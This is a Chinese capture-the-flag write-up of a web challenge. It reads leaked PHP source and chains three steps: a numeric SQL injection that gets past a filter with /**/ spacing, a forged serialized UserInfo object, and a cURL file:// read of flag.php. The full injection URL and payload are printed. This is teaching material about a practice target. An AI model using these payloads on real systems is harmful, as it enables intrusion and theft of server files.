这道题目登录之后我们可以看到有join和login

login即登录,join即注册

我们通过查看robots.txt可以知道

有源代码泄露。

先将泄露的源码下载下来审计一波

<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = ""; public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
} function get($url)
{
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); return $output;
} public function getBlogContents ()
{
return $this->get($this->blog);
} public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
} }

可以看到泄露的是UserInfo这个类的源码,看其他师傅们的WP可以知道还可以扫出来flag.php的存在。

curl_exec — 执行一个cURL会话

因为我们要传递自己博客的网址,所以猜测这里是否能够通过file协议读取绝对路径下的文件。

接着在join里面虽然我们要输入自己博客的网址,但是其进行了非常严格的正则表达式过滤,所以想在这个位置运用file协议基本上是不可能了。

我们注册一个账号看看

注册成功即登录,可以看到我们输入的信息可以看到

这里就是我们输入的博客网址的地方,不过在join的时候如果输入除http/https以外的关键词就会被检测出来,所以我们点击test用户看是否有突破点

可以看到view.php后面的参数no,这里让我们很容易想到该地点是否存在SQL注入漏洞

简单测试一下

输入了and 1=2之后,页面报错,数字型注入,同时页面返回来网站的绝对路径,这正是我们需要的。

接着我们进行常规注入操作,不过因为有WAF的存在,我们使用union select 的时候需要将空格转换成/**/绕过,当然也可以用其他方法绕过

这里回显位置是2,我们可以看到爆出了数据,同时页面Notice里面提示了我们unserialize(),所以这里涉及了反序列化漏洞,我们先不管这个,进一步读取数据

可以看到data是序列化之后的结果,泄露的源代码里面也有getBlogContents函数,其配合get函数,恰好构造成SSRF漏洞, 并且blog的值我们可以通过构造反序列,利用file协议来进行任意文件读取 。

反序列化的payload我们直接依葫芦画瓢即可

O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";} 

现在的问题在于我们应当将payload放在哪里,才可以使其正确的被反序列化。

答案是:在SQL语句里面控制

因为页面提示了我们反序列化,所以猜测no参数的值代入数据库查询之后还会被反序列化一次,这个时候就会导致blog变成我们构造的blog

后面分析view.php源代码也可以看出

所以我们将构造之后的序列化payload放进no参数SQL语句里面,即

view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";} ' from users

这里可以看到blog的值已经成为我们构造的了

查看源代码

当然用这个方法还可以查看view.php ,db.php等等文件,加深自己对题目的认识。

最新文章

  1. WebBrowser内核指定
  2. [UCSD白板题] The Last Digit of a Large Fibonacci Number
  3. ASP.NET中WebService的两种身份验证方法
  4. C++ Primer 笔记(2)第二章 变量与基本类型
  5. dll强签名的由来和作用
  6. kvm介绍
  7. C#中的lock关键字;就是lock住一个大家都共同访问的(静态static的)东东就行了
  8. Jssdk微信分享
  9. Node.js 专题
  10. 【tool】VLC播放rtmp协议
  11. Codeforces 755F PolandBall and Gifts bitset + 二进制优化多重背包
  12. Chrome开发者工具应对页面跳转页面点击事件等实用干货
  13. MySQL之 从复制延迟问题排查
  14. SpringCloud之Eureka集群
  15. Fusion 360教程合集27部
  16. Batch to setup JAVA programming environment for Algorithm class from priston
  17. MySQL(4):主从复制原理
  18. Python模块 实现过渡性模块重载
  19. python学习笔记——信号模块signal
  20. 【LG3243】[HNOI2015]菜肴制作

热门文章

  1. JavaScript探秘:可执行的上下文堆栈
  2. Jenkins - Linux下启动Jenkins报错hudson.WebAppMain#contextDestroyed: Shutting down a Jenkins instance that was still starting up
  3. 在一个递增数组的rotate变换中找target
  4. JavaScript复习大纲
  5. CTF-Web-强网杯 2019-随便注
  6. MongoDB动态建表方案(官方原生驱动)
  7. Jsoup获取网页内容(并且解决中文乱码问题)
  8. DIV设置滚动条在最底端
  9. Linux 学习笔记02丨Linux 概述、常用快捷键、apt命令
  10. Java基础教程——方法引用